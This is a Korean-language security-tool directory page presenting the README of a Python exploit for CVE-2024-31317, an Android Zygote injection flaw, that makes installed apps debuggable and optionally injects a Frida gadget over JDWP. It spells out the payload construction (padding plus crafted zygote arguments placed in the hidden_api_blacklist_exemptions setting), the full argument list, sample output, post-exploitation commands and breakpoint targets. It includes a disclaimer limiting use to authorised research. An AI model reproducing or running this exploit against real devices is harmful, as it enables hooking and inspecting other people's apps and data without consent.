Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 디버깅 가능한 앱 익스플로잇 | Kitploit
도구/GitHubGitHub/cleov2/debuggable-app-exploit
Android SecurityVulnerability AnalysisExploitationFuzzingMobile SecurityLearning & EducationPayload DevelopmentBinary Exploitation
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 디버깅 가능한 앱 익스플로잇

저장소 보기
1235개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-31317 디버깅 가능 앱 익스플로잇

CVE-2024-31317 (Android Zygote Injection)을 위한 Python 기반 익스플로잇입니다. hidden_api_blacklist_exemptions 설정을 통해 악의적인 zygote 인수를 주입하여 설치된 모든 Android 앱을 디버깅 가능하게 만듭니다. 런타임 후킹을 위한 선택적 Frida gadget 주입을 포함합니다.

개요

이 익스플로잇은 Android Zygote 프로세스의 명령어 주입 취약점을 활용하여 대상 애플리케이션을 debuggable 플래그가 활성화된 상태로 시작합니다. 이를 통해 루트 액세스나 앱의 디버그 버전 없이도 JDWP 디버깅 및 모든 앱 검사가 가능합니다.

연구 출처: Flanker의 CVE-2024-31317 분석

핵심 통찰: "ZygoteArguments의 runtime-flags 필드를 실제로 사용하여 애플리케이션의 debuggable 속성을 활성화할 수 있습니다."

기능

  • 자동 감지 모드 - 대상 앱의 UID, 명령어 세트 및 데이터 디렉터리를 자동으로 감지합니다.
  • 디버깅 가능 플래그 주입 - 디버깅을 활성화하기 위해 runtime-flags=65535를 설정합니다.
  • JDWP 포워딩 - 익스플로잇 후 자동으로 JDWP 포트 포워딩을 설정합니다.
  • Frida gadget 주입 - 선택적으로 JDWP를 통해 런타임 후킹을 위해 Frida를 주입합니다.
  • 스마트 브레이크포인트 - 사용자 개입 없이 자동으로 트리거되는 신뢰할 수 있는 브레이크포인트를 사용합니다.
  • 디버그 앱 자동 설치 - 도우미 앱이 없으면 설치합니다.

요구 사항

  • CVE-2024-31317에 취약한 Android 기기 (2024년 6월 이전 보안 패치)
  • ADB 설치 및 USB 디버깅 활성화
  • Python 3.10+
  • 필수 패키지: ppadb, jdwplib

설치

다음 파일들을 같은 디렉터리에 배치하세요:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Main exploit script
├── jdwplib.py                       # JDWP client library
├── app-debug.apk                    # Debuggable helper app
├── frida-gadget-android-*.so        # Frida gadget (optional)
├── frida-gadget.config.so           # Frida config (optional)
└── win32/adb.exe                    # Windows ADB binary

사용법

기본 사용법

root@kitploit:~
python CVE-2024-31317-Debuggable.py

스크립트가 매개변수 감지 모드를 선택하라는 메시지를 표시합니다:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

수행 작업

  1. 1단계: startSeq 추출

    • 디버깅 가능한 도우미 앱을 시작합니다.
    • JDWP를 통해 연결하고 스택 프레임에서 startSeq 값을 추출합니다.
    • 도우미 앱을 종료합니다.
  2. 2단계: Zygote 인수 주입

    • 악성 zygote 인수를 runtime-flags=65535(디버깅 가능)로 빌드합니다.
    • 페이로드를 hidden_api_blacklist_exemptions 설정에 주입합니다.
    • 대상 앱을 강제 종료하고 주입된 인수로 다시 시작합니다.
  3. 3단계: 사후 익스플로잇

    • JDWP 포트 포워딩을 설정합니다.
    • 선택적으로 런타임 후킹을 위해 Frida gadget을 주입합니다.

예시 출력

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

구성

대상 앱

스크립트 상단의 상수를 편집하세요:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Change to your target package
DEBUG_APP = "com.debug.app"            # Helper debuggable app
DEBUG_APK = "app-debug.apk"            # APK file for helper app

자동 감지 vs 하드코딩

자동 감지 모드 (권장):

  • pm list packages -U를 사용하여 UID를 가져옵니다.
  • dumpsys package를 사용하여 명령어 세트와 데이터 디렉터리를 가져옵니다.
  • 다양한 기기에서 더 안정적입니다.

하드코딩 모드:

  • 기본값(UID=10242, arm64 등)을 사용합니다.
  • 더 빠르지만 기기가 기본값과 다르면 신뢰도가 낮습니다.

Frida Gadget 주입

익스플로잇이 성공하면 선택적으로 Frida gadget을 주입할 수 있습니다:

root@kitploit:~
Inject Frida? (y/N): y

스크립트는 다음을 수행합니다:

  1. frida-gadget.so를 /data/local/tmp/로 푸시합니다.
  2. run-as를 통해 앱의 데이터 디렉터리로 복사합니다.
  3. 브레이크포인트를 설정하고 JDWP를 통해 gadget을 로드합니다.
  4. 포트 27042와 27043을 포워딩합니다.

브레이크포인트 대상

스크립트는 신뢰도 순서로 다음 브레이크포인트를 시도합니다:

상위 브레이크포인트는 자동으로 트리거되어야 합니다. 시간 초과되면 앱을 탭하여 대체 브레이크포인트를 트리거하세요.

Frida에 연결

성공적인 주입 후:

root@kitploit:~
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

익스플로잇 이후

익스플로잇이 성공하면 대상 앱이 디버깅이 활성화된 상태로 실행됩니다:

  1. JDWP 디버거로 연결:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Android Studio 디버거 사용 - 포워딩된 포트의 프로세스에 연결

  3. Frida 사용 - 스크립트를 통해 gadget이 주입된 경우

작동 원리

취약점 개요

CVE-2024-31317은 Android Zygote 프로세스의 명령어 주입 취약점입니다. 특수하게 조작된 입력으로 hidden_api_blacklist_exemptions 시스템 설정을 조작하여 앱이 시작될 때 임의의 zygote 인수를 주입할 수 있습니다.

주요 구성 요소

  1. startSeq 추출: 각 앱 실행에는 고유한 시퀀스 번호가 있습니다. 이 번호를 디버깅 가능한 앱에서 JDWP를 통해 스택 프레임 변수를 검사하여 추출합니다.

  2. 페이로드 구성: 다음을 포함하는 zygote 인수를 빌드합니다:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Enables all debug flags
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. 주입: 페이로드는 Android 12+에 대한 특정 패딩으로 시스템 설정에 주입됩니다:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. 트리거: 대상 앱을 강제 종료하고 다시 시작하면 주입된 인수와 디버깅 가능 플래그가 활성화된 상태로 실행됩니다.

JDWP를 통한 Frida 주입

Frida 주입은 다음과 같이 작동합니다:

  1. JDWP를 통해 디버깅 가능한 앱에 연결
  2. 자주 호출되는 메서드에 브레이크포인트 설정
  3. 브레이크포인트가 적중되면 Runtime.load()를 사용하여 Frida gadget 공유 라이브러리를 로드
  4. gadget이 초기화되고 포트 27042에서 수신 대기 시작

제한 사항

  • CVE-2024-31317에 취약한 기기에서만 작동 (2024년 6월 이전 보안 패치)
  • 루트 익스플로잇이 아님 - 대상 앱에 대한 디버깅 가능 액세스만 제공
  • Frida 주입은 앱이 실행 중이고 브레이크포인트가 트리거되어야 함
  • 일부 심하게 난독화된 앱은 Frida 후킹에 저항할 수 있음

문제 해결

"startSeq를 가져오지 못함"

  • 디버그 앱이 올바르게 서명되고 설치 가능한지 확인하세요.
  • 익스플로잇을 다시 실행해 보세요.

"Frida 주입 중 브레이크포인트가 적중되지 않음"

  • 앱을 탭하여 터치/드로우 브레이크포인트를 트리거하세요.
  • 앱이 포그라운드에 있는지 확인하세요.

"Frida 연결 거부됨"

  • 포트 포워딩 확인: adb forward --list
  • 포트 포워딩 재실행: adb forward tcp:27042 tcp:27042

크레딧

  • Flanker (flanker017) - CVE-2024-31317에 대한 원본 연구 및 상세 분석
  • typlo - JDWP 검사를 통해 startSeq를 찾기 위한 코드 스니펫
  • Anonymous941 - Zygote 주입 툴킷 참조 구현
  • Meta X Red Team - 원본 취약점 발견 및 공개

참고 자료

  • CVE-2024-31317 상세 분석 - Flanker
  • Meta 보안 권고
  • InfoSec 분석글
  • Anonymous941의 Zygote Injection Toolkit
  • Frida 문서

면책 조항

이 도구는 교육 및 승인된 보안 연구 목적으로만 사용됩니다. 소유하고 있거나 명시적인 서면 테스트 허가를 받은 기기에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법이며 비윤리적입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드
클래스메서드트리거
android.os.MessageQueuenext자동 - 메인 루퍼가 지속적으로 폴링
android.os.BinderexecTransact자동 - 모든 IPC/바인더 호출
android.app.ActivityThreadhandleMessage자동 - 앱의 메인 핸들러
android.os.HandlerdispatchMessage자동 - 메시지 디스패치
android.os.HandlerhandleMessage자동 - 메시지 처리
android.view.ChoreographerdoFrame자동 - 프레임 콜백
android.view.ViewdispatchTouchEvent수동 - 터치 필요
android.view.ViewonDraw수동 - UI 다시 그리기 필요